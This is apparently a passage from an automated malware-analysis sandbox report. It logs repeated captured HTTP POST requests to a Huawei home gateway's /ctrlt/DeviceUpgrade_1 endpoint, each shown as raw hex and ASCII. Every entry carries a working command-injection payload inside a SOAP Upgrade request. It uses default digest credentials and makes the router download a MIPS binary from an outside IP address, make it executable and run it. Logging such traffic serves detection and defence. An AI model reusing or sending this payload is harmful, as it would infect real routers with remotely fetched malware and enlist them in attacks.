-r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 